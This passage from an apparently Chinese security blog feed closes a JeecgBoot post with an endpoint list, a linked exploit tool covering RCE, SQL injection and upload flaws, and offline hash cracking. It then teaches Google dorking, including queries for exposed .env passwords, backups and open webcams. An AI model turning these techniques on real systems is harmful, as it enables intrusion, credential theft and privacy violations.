class=\"line\"><span>/sys/user/add</span></span>\n<span class=\"line\"><span>/sys/user/edit</span></span>\n<span class=\"line\"><span>/sys/user/queryById</span></span>\n<span class=\"line\"><span>/sys/user/changePassword</span></span>\n<span class=\"line\"><span>/sys/role/list</span></span>\n<span class=\"line\"><span>/sys/role/add</span></span>\n<span class=\"line\"><span>/sys/role/edit</span></span>\n<span class=\"line\"><span>/sys/role/queryPermission</span></span>\n<span class=\"line\"><span>/v2/api-docs</span></span>\n<span class=\"line\"><span>/v1/api-docs</span></span>\n<span class=\"line\"><span>/api-docs</span></span>\n<span class=\"line\"><span>/sys/menu/list</span></span>\n<span class=\"line\"><span>/sys/menu/add</span></span>\n<span class=\"line\"><span>/sys/menu/edit</span></span>\n<span class=\"line\"><span>/sys/menu/delete</span></span>\n<span class=\"line\"><span>/sys/depart/list</span></span>\n<span class=\"line\"><span>/sys/depart/add</span></span>\n<span class=\"line\"><span>/sys/depart/edit</span></span>\n<span class=\"line\"><span>/sys/depart/delete</span></span>\n<span class=\"line\"><span>/online/cgform/list</span></span>\n<span class=\"line\"><span>/online/cgform/add</span></span>\n<span class=\"line\"><span>/online/cgform/edit</span></span>\n<span class=\"line\"><span>/online/cgform/delete</span></span>\n<span class=\"line\"><span>/online/cgform/fields/&#123;tableName&#125;</span></span>\n<span class=\"line\"><span>/online/cgform/table/list</span></span>\n<span class=\"line\"><span>/online/cgform/table/sync</span></span>\n<span class=\"line\"><span>/online/cgform/generateCode</span></span>\n<span class=\"line\"><span>/sys/dict/list</span></span>\n<span class=\"line\"><span>/sys/dict/add</span></span>\n<span class=\"line\"><span>/sys/dict/edit</span></span>\n<span class=\"line\"><span>/sys/dict/delete</span></span>\n<span class=\"line\"><span>/act/process/list</span></span>\n<span class=\"line\"><span>/act/process/deploy</span></span>\n<span class=\"line\"><span>/act/task/list</span></span>\n<span class=\"line\"><span>/act/task/complete</span></span>\n<span class=\"line\"><span>/act/task/history</span></span>\n<span class=\"line\"><span>/sys/common/upload</span></span>\n<span class=\"line\"><span>/sys/common/download/&#123;fileId&#125;</span></span>\n<span class=\"line\"><span>/sys/common/view/&#123;fileId&#125;</span></span>\n<span class=\"line\"><span>/monitor/redis/info</span></span>\n<span class=\"line\"><span>/monitor/server/info</span></span>\n<span class=\"line\"><span>/api/test/demo/list</span></span>\n<span class=\"line\"><span>/api/test/demo/add</span></span>\n<span class=\"line\"><span>/sys/log/list</span></span>\n<span class=\"line\"><span>/sys/log/delete</span></span>\n<span class=\"line\"><span>/sys/sms/send</span></span>\n<span class=\"line\"><span>/sys/sms/list</span></span>\n<span class=\"line\"><span>/api/test/demo/edit</span></span>\n<span class=\"line\"><span>/api/test/demo/delete</span></span>\n<span class=\"line\"><span>/report/loadReport/&#123;code&#125;</span></span>\n<span class=\"line\"><span>/chart/api/getChartData</span></span>\n<span class=\"line\"><span>/api/test/demo/queryById</span></span>\n<span class=\"line\"><span>/act/process/delete</span></span>\n<span class=\"line\"><span>/sys/dict/loadDictItems/&#123;dictCode&#125;</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/getLoginQrcode</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/getQrcodeToken</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/login</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/phoneLogin</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/scanLoginQrcode</span></span>\n<span class=\"line\"><span>/jeecg-boot/drag/onlDragDataSource/add</span></span>\n<span class=\"line\"><span>/jeecg-boot/drag/onlDragDataSource/delete</span></span>\n<span class=\"line\"><span>/jeecg-boot/drag/onlDragDataSource/deleteBatch</span></span>\n<span class=\"line\"><span>/jeecg-boot/drag/onlDragDataSource/edit</span></span>\n<span class=\"line\"><span>/jeecg-boot/drag/onlDragDataSource/list</span></span>\n<span class=\"line\"><span>/jeecg-boot/drag/onlDragDataSource/queryById</span></span>\n<span class=\"line\"><span>/jeecg-boot/drag/onlDragDatasetHead/add</span></span>\n<span class=\"line\"><span>/jeecg-boot/drag/onlDragDatasetHead/addGroup</span></span>\n<span class=\"line\"><span>/jeecg-boot/drag/onlDragDatasetHead/delDragDataSetHeadGroup</span></span>\n<span class=\"line\"><span>/jeecg-boot/drag/onlDragDatasetHead/delete</span></span>\n<span class=\"line\"><span>/jeecg-boot/drag/onlDragDatasetHead/edit</span></span>\n<span class=\"line\"><span>/jeecg-boot/drag/onlDragDatasetHead/queryById</span></span>\n<span class=\"line\"><span>/jeecg-boot/drag/onlDragDatasetHead/updateGroup</span></span>\n<span class=\"line\"><span>/jeecg-boot/drag/onlDragDatasetParam/add</span></span>\n<span class=\"line\"><span>/jeecg-boot/drag/onlDragDatasetParam/delete</span></span>\n<span class=\"line\"><span>/jeecg-boot/druid/login.html</span></span>\n<span class=\"line\"><span>/jeecg-boot/drag/onlDragDatasetParam/deleteBatch</span></span>\n<span class=\"line\"><span>/jeecg-boot/drag/onlDragDatasetParam/edit</span></span>\n<span class=\"line\"><span>/jeecg-boot/actuator/httptrace</span></span>\n<span class=\"line\"><span>/jeecg-boot/drag/onlDragDatasetParam/list</span></span>\n<span class=\"line\"><span>/jeecg-boot/drag/onlDragDatasetParam/queryById</span></span>\n<span class=\"line\"><span>/jeecg-boot/drag/websocket/sendData</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/checkRule/add</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/checkRule/checkByCode</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/checkRule/delete</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/checkRule/deleteBatch</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/checkRule/edit</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/checkRule/list</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/checkRule/queryById</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/comment/add</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/comment/addFile</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/comment/addText</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/comment/delete</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/comment/deleteBatch</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/comment/deleteOne</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/comment/edit</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/comment/fileList</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/comment/list</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/comment/listByForm</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/comment/queryById</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/dataSource/add</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/dataSource/delete</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/dataSource/deleteBatch</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/dataSource/edit</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/dataSource/list</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/dataSource/queryById</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/dictItem/dictItemCheck</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/duplicate/check</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/files/add</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/files/delete</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/files/deleteBatch</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/files/edit</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/files/list</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/files/queryById</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/fillRule/add</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/fillRule/delete</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/fillRule/deleteBatch</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/fillRule/edit</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/fillRule/list</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/fillRule/queryById</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/formFile/add</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/formFile/delete</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/formFile/deleteBatch</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/formFile/edit</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/formFile/list</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/formFile/queryById</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/position/add</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/position/delete</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/position/deleteBatch</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/position/edit</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/position/list</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/position/queryByCode</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/position/queryById</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/quartzJob/pause</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/quartzJob/resume</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/randomImage/</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/sysDepartPermission/add</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/sysDepartPermission/delete</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/sysDepartPermission/deleteBatch</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/sysDepartPermission/edit</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/sysDepartPermission/list</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/sysDepartPermission/queryById</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/sysDepartRole/add</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/sysDepartRole/delete</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/sysDepartRole/deleteBatch</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/sysDepartRole/edit</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/sysDepartRole/list</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/sysDepartRole/queryById</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/sysRoleIndex/add</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/sysRoleIndex/delete</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/sysRoleIndex/deleteBatch</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/sysRoleIndex/edit</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/sysRoleIndex/list</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/sysRoleIndex/queryByCode</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/sysRoleIndex/queryById</span></span>\n<span class=\"line\"><span>/jeecg-boot/test/dynamic/test1</span></span>\n<span class=\"line\"><span>/jeecg-boot/test/jeecgDemo/add</span></span>\n<span class=\"line\"><span>/jeecg-boot/test/jeecgDemo/delete</span></span>\n<span class=\"line\"><span>/jeecg-boot/test/jeecgDemo/deleteBatch</span></span>\n<span class=\"line\"><span>/jeecg-boot/test/jeecgDemo/edit</span></span>\n<span class=\"line\"><span>/jeecg-boot/test/jeecgDemo/list</span></span>\n<span class=\"line\"><span>/jeecg-boot/test/jeecgDemo/queryById</span></span>\n<span class=\"line\"><span>/sys/user/delete</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/user/addSysUserRole</span></span>\n<span class=\"line\"><span>/sys/role/delete</span></span>\n<span class=\"line\"><span>/user/register</span></span></code></pre>\n<h3 id=\"漏洞利用工具\"><a class=\"anchor\" href=\"#漏洞利用工具\">#</a> 漏洞利用工具</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>https://github.com/Framework-vulnerability-tool/jeecg</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>工具介绍</span></span>\n<span class=\"line\"><span>jeecg综合漏洞利用工具,程序采用javafx开发,环境JDK 1.8 声明：仅用于授权测试，用户滥用造成的一切后果和作者无关 请遵守法律法规！ 漏洞收录如下：</span></span>\n<span class=\"line\"><span>jeecg-boot queryFieldBySql远程命令执行漏洞</span></span>\n<span class=\"line\"><span>jeecg-boot testConnection远程命令执行漏洞</span></span>\n<span class=\"line\"><span>JeecgBoot jmreport/loadTableData SSTI模板注入漏洞</span></span>\n<span class=\"line\"><span>jeecg-boot-queryTableData-sqli注入漏洞</span></span>\n<span class=\"line\"><span>jeecg-boot-getDictItemsByTable-sqli注入漏洞</span></span>\n<span class=\"line\"><span>Jeecg-Boot qurestSql-SQL注入漏洞</span></span>\n<span class=\"line\"><span>jeecg-boot commonController 任意文件上传漏洞</span></span>\n<span class=\"line\"><span>jeecg-boot jmreport任意文件上传漏洞</span></span>\n<span class=\"line\"><span>jeecg-boot-querySysUser信息泄露漏洞</span></span>\n<span class=\"line\"><span>jeecg-boot-checkOnlyUser信息泄露漏洞</span></span>\n<span class=\"line\"><span>jeecg-boot-httptrace信息泄露漏洞</span></span>\n<span class=\"line\"><span>jeecg-boot-任意文件下载漏洞</span></span>\n<span class=\"line\"><span>jeecg-boot-jeecgFormDemoController漏洞</span></span>\n<span class=\"line\"><span>jeecg-boot-v2 P3 Biz Chat任意文件读取漏洞</span></span>\n<span class=\"line\"><span>jeecg-boot-v2 sys/duplicate/check注入漏洞</span></span>\n<span class=\"line\"><span>jeecg-boot-v2 AviatorScript表达式注入漏洞</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>https://github.com/ssrsec/JeecgBoot-offline-brute</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>有sqli的端点，但是无法rce以及进一步获得权限，我们可以尝试通过sqli获取凭据从而获得用户级权限</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>数据库中password字段是加密的，通过查看源码发现密码使用PBE进行加密，关键是用明文密码作为对称加密key的一个环节，所以没办法直接逆向解密，但是可以离线爆破。</span></span></code></pre>\n",
            "tags": []
        },
        {
            "id": "https://zlaryy.top/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/",
            "url": "https://zlaryy.top/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/",
            "title": "信息搜集",
            "date_published": "2026-04-23T06:50:00.000Z",
            "content_html": "<h1 id=\"信息搜集\"><a class=\"anchor\" href=\"#信息搜集\">#</a> 信息搜集</h1>\n<h1 id=\"google-hacking\"><a class=\"anchor\" href=\"#google-hacking\">#</a> Google Hacking</h1>\n<p><strong>Google Hacking</strong>（也常被称为<strong>Google Dorking</strong>）是一种利用搜索引擎（特别是Google）的高级搜索操作符来发现隐藏在公共互联网上的敏感信息、漏洞或配置错误的攻击或信息收集技术。</p>\n<h2 id=\"高级搜索操作符\"><a class=\"anchor\" href=\"#高级搜索操作符\">#</a> 高级搜索操作符</h2>\n<p>参考：<a href=\"https://zhuanlan.zhihu.com/p/400365865\">https://zhuanlan.zhihu.com/p/400365865</a></p>\n<h3 id=\"site\"><a class=\"anchor\" href=\"#site\">#</a> site</h3>\n<p>用于限制搜索范围，只在特定的域名或网站内进行搜索</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>site:example.com</span></span>\n<span class=\"line\"><span>#只在example.com及其子域名下搜索</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/1.png\" class=\"\"></p>\n<h3 id=\"filetype和exp\"><a class=\"anchor\" href=\"#filetype和exp\">#</a> filetype和exp</h3>\n<p>用于指定文件类型，只搜索具有特定扩展名的文件</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>site:baidu.com filetype:pdf</span></span>\n<span class=\"line\"><span>site:baidu.com ext:pdf</span></span>\n<span class=\"line\"><span>#表示查找在baidu.com站点上文件类型为pdf的网页</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/2.png\" class=\"\"></p>\n<h3 id=\"intitle和allintitle\"><a class=\"anchor\" href=\"#intitle和allintitle\">#</a> intitle和allintitle</h3>\n<p>用于限制网页标题，只搜索网页标题中带有特定词语的页面</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>intitle:百度</span></span>\n<span class=\"line\"><span>#只返回标题中包含百度的网页</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/3.png\" class=\"\"></p>\n<p>这里需要提一下intile和allintitle的区别：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>intitle:百度 登录</span></span>\n<span class=\"line\"><span>#表示搜索标题中包含百度的网页，网页的任意位置必须包含\"登录\"</span></span>\n<span class=\"line\"><span>allintitle:百度 登录</span></span>\n<span class=\"line\"><span>#表示网页的标题中必须同时包含\"百度\"和\"登录\"两个词</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>allintitle:A B相当于intitle:A intitle:B</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/4.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/5.png\" class=\"\"></p>\n<h3 id=\"inurl和allinurl\"><a class=\"anchor\" href=\"#inurl和allinurl\">#</a> inurl和allinurl</h3>\n<p>用于限制URL路径，搜索URL网址中包含特定字符串的页面</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>inurl:login</span></span>\n<span class=\"line\"><span>#表示搜索URL网址中包含login的网页</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/6.png\" class=\"\"></p>\n<p><code>inurl</code>和<code>allinurl</code>的区别与<code>intitle</code>和<code>allintitle</code>的区别一样，<code>allinurl</code>可以指定多个词</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>inurl:login admin</span></span>\n<span class=\"line\"><span>#表示网页的网址URL中必须包含login，网页的任意位置必须包含admin，admin作为全局搜索词</span></span>\n<span class=\"line\"><span>allinurl:login admin</span></span>\n<span class=\"line\"><span>#表示网页的网址URL中必须同时包含login和admin</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>allinurl:A B等价于inurl:A inurl:B</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/7.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/8.png\" class=\"\"></p>\n<h3 id=\"intext和allintext\"><a class=\"anchor\" href=\"#intext和allintext\">#</a> intext和allintext</h3>\n<p>用于限制网页正文，搜索网页正文中包含特定词语的页面</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>intext:后台登录</span></span>\n<span class=\"line\"><span>#表示搜索网页正文中包含后台登录的网页</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/9.png\" class=\"\"></p>\n<h3 id=\"link\"><a class=\"anchor\" href=\"#link\">#</a> link</h3>\n<p>搜索网页中包含指定URL链接的页面，也就是“找外链”或“反向链接”</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>link:baidu.com</span></span>\n<span class=\"line\"><span>#返回所有包含指向baidu.com的网页</span></span></code></pre>\n<p>Google为了防止SEO（搜索引擎优化）作弊，几年前已经逐渐废弃/削弱了这个指令的准确性，现在搜索出来的结果往往不全</p>\n<p><img loading=\"lazy\" src=\"/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/10.png\" class=\"\"></p>\n<h3 id=\"related\"><a class=\"anchor\" href=\"#related\">#</a> related</h3>\n<p>用于查找相似/关联网站，搜索与指定网站内容相似或有业务关联的其他网站</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>related:cuit.edu.cn</span></span>\n<span class=\"line\"><span>#返回与cuit.edu.cn相似的页面，相似指的是网页的布局相似</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/11.png\" class=\"\"></p>\n<h3 id=\"cache\"><a class=\"anchor\" href=\"#cache\">#</a> cache</h3>\n<p>用于查看网页历史缓存，不直接访问目标服务器，而是查看Google（爬虫）上一次抓取该网页时存下来的“网页快照”</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>cache:baidu.com</span></span>\n<span class=\"line\"><span>#让Google不去访问现在的百度服务器，而是直接展示Google数据库里保存的baidu.com首页的历史快照</span></span>\n<span class=\"line\"><span>cache:baidu.com login</span></span>\n<span class=\"line\"><span>#在刚刚打开的快照页面中自动寻找并高亮显示\"login\"这个词</span></span></code></pre>\n<h3 id=\"info\"><a class=\"anchor\" href=\"#info\">#</a> info</h3>\n<p>返回站点的指定信息</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>info:baidu.com</span></span>\n<span class=\"line\"><span>#将返回百度的一些信息</span></span></code></pre>\n<p>Google在2017年正式废弃了这个操作符，现在如果输入<code>info:baidu.com</code>通常只会重定向到普通URL的搜索结果</p>\n<h3 id=\"define\"><a class=\"anchor\" href=\"#define\">#</a> define</h3>\n<p>返回某个词语的定义</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>define:Hacker</span></span>\n<span class=\"line\"><span>#将返回关于Hacker的定义</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/12.png\" class=\"\"></p>\n<h3 id=\"phonebook\"><a class=\"anchor\" href=\"#phonebook\">#</a> phonebook</h3>\n<p>电话簿查询美国街道地址和电话号码信息。例如：phonebook:Lisa+CA 将返回名字里面包含Lisa并住在加州的人的所有名字</p>\n<h2 id=\"一些组合示例\"><a class=\"anchor\" href=\"#一些组合示例\">#</a> 一些组合示例</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>filetype:env intext:\"DB_PASSWORD\"</span></span>\n<span class=\"line\"><span>#搜索包含了数据库密码的.env环境配置文件</span></span>\n<span class=\"line\"><span>site:target.com inurl:admin | inurl:login | inurl:wp-admin</span></span>\n<span class=\"line\"><span>#在目标网站下寻找后台入口，寻找后台管理登录页面</span></span>\n<span class=\"line\"><span>filetype:log inurl:error.log</span></span>\n<span class=\"line\"><span>#寻找暴露的日志文件</span></span>\n<span class=\"line\"><span>intitle:\"index of\" \"backup\"</span></span>\n<span class=\"line\"><span>#寻找目录遍历漏洞，寻找那些没有正确配置权限，导致整个备份文件夹可以被公开浏览的网站</span></span>\n<span class=\"line\"><span>inurl:\"view.shtml\" | inurl:\"/view/index.shtml\"</span></span>\n<span class=\"line\"><span>#寻找特定设备的网络摄像头，可以直接搜出很多没有设置密码、暴露在公网上的网络摄像头</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>#查找网站后台</span></span>\n<span class=\"line\"><span>site:http://xx.com intext:管理</span></span>\n<span class=\"line\"><span>site:http://xx.com inurl:login</span></span>\n<span class=\"line\"><span>site:http://xx.com intitle:后台</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>#查看服务器使用的程序</span></span>\n<span class=\"line\"><span>site:http://xx.com filetype:asp</span></span>\n<span class=\"line\"><span>site:http://xx.com filetype:php</span></span>\n<span class=\"line\"><span>site:http://xx.com filetype:jsp</span></span>\n<span class=\"line\"><span>site:http://xx.com filetype:aspx</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>#查看上传漏洞</span></span>\n<span class=\"line\"><span>site:http://xx.com inurl:file</span></span>\n<span class=\"line\"><span>site:http://xx.com inurl:load</span></span></code></pre>\n<h2 id=\"index-of\"><a class=\"anchor\" href=\"#index-of\">#</a> index of</h2>\n<p>index of语法通常写作<code>intitle:index of</code>，它专门用于寻找存在目录遍历漏洞的网站，当我们访问<code>www.example.com/uploads</code>时，服务区通常回去寻找这个目录下的默认主页文件（比如index.html或者index.php），但如果这个目录下没有默认主页文件或者管理员没有关闭”目录浏览“权限，那么访问之后就会列出这个文件夹里的所有文件和子文件夹，可以下载</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>#寻找数据库备份文件</span></span>\n<span class=\"line\"><span>intitle:\"index of\" ext:sql | ext:bak</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/13.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/04/23/%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/14.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>#寻找网站源码压缩包</span></span>\n<span class=\"line\"><span>intitle:\"index of\" \"backup.zip\" | \"wwwroot.rar\"</span></span>\n<span class=\"line\"><span>#寻找员工内部资料或通讯录</span></span>\n<span class=\"line\"><span>intitle:\"index of\" \"confidential\" ext:pdf | ext:xls</span></span>\n<span class=\"line\"><span>#寻找摄像头录像或私人相册</span></span>\n<span class=\"line\"><span>intitle:\"index of\" \"DCIM\" | \"CCTV\"</span></span></code></pre>\n<p>在这些搜索参数中<code>|</code>都表示逻辑或，当搜索条件变复杂时也可以用<code>()</code>包裹</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>intitle:\"index of\" (ext:sql | ext:bak | ext:zip)</span></span>\n<span class=\"line\"><span>#寻找存在目录遍历的服务器，并且目录列表中必须包含sql或者bak或者zip</span></span></code></pre>\n<h1 id=\"网络空间搜索引擎\"><a class=\"anchor\" 